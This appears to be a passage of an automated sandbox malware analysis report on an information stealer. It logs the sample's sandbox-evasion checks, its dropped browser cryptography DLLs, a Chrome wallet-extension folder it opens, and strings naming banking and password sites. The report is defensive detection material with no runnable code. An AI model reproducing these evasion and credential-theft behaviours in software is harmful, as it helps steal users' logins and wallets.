Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\DHCGHDHIDH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\DHCGHDHIDH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\DHCGHDHIDH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\DHCGHDHIDH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\DHCGHDHIDH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\DHCGHDHIDH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\DHCGHDHIDH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\DHCGHDHIDH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\DHCGHDHIDH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\DHCGHDHIDH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\DHCGHDHIDH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_3-76281

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 1740000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 32C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 3060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Memory allocated: 1410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Memory allocated: 2E90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Memory allocated: 1410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Memory allocated: F00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Memory allocated: 28B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Memory allocated: 48B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\DHCGHDHIDH.exe	Memory allocated: 16C0000 memory reserve \| memory write watch
Source: C:\ProgramData\DHCGHDHIDH.exe	Memory allocated: 3040000 memory reserve \| memory write watch
Source: C:\ProgramData\DHCGHDHIDH.exe	Memory allocated: 5040000 memory reserve \| memory write watch
Source: C:\ProgramData\HDAFIIDAKJ.exe	Memory allocated: 980000 memory reserve \| memory write watch
Source: C:\ProgramData\HDAFIIDAKJ.exe	Memory allocated: 24B0000 memory reserve \| memory write watch
Source: C:\ProgramData\HDAFIIDAKJ.exe	Memory allocated: 44B0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\DHCGHDHIDH.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\HDAFIIDAKJ.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\mozglue[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 6.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7476	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe TID: 5380	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7220	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe TID: 1204	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\DHCGHDHIDH.exe TID: 5484	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2908	Thread sleep time: -30000s >= -30000s
Source: C:\ProgramData\HDAFIIDAKJ.exe TID: 6844	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 5144	Thread sleep count: 80 > 30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	3_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	3_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	3_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	3_2_004133C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_00413540 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,memset,lstrcatA,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,FindNextFileA,FindClose,	29_2_00413540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_0040B969 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_0040B969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_0041425C wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	29_2_0041425C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_00413B50 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	29_2_00413B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_00409B68 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	29_2_00409B68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_0040AB08 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_0040AB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_00409317 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	29_2_00409317
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_004013B4 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	29_2_004013B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_00409645 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	29_2_00409645
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_0040A2C1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	29_2_0040A2C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_00413EA0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	29_2_00413EA0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 29_2_0041391C GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

29_2_0041391C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00401160 GetSystemInfo,ExitProcess,

3_2_00401160

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\DHCGHDHIDH.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\HDAFIIDAKJ.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: Amcache.hve.33.dr	Binary or memory string: VMware
Source: AAFIDG.29.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: AAFIDG.29.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: RegAsm.exe, 00000018.00000002.1483311475.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW{
Source: AAFIDG.29.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: AAFIDG.29.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware9
Source: AAFIDG.29.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Amcache.hve.33.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: AAFIDG.29.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: AAFIDG.29.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: RegAsm.exe, 00000003.00000002.1384359989.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000018.00000002.1483311475.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.1929039688.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000029.00000002.1938989194.0000000000DB6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000029.00000002.1938989194.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2206607255.0000000000EDB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002E.00000002.2206607255.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
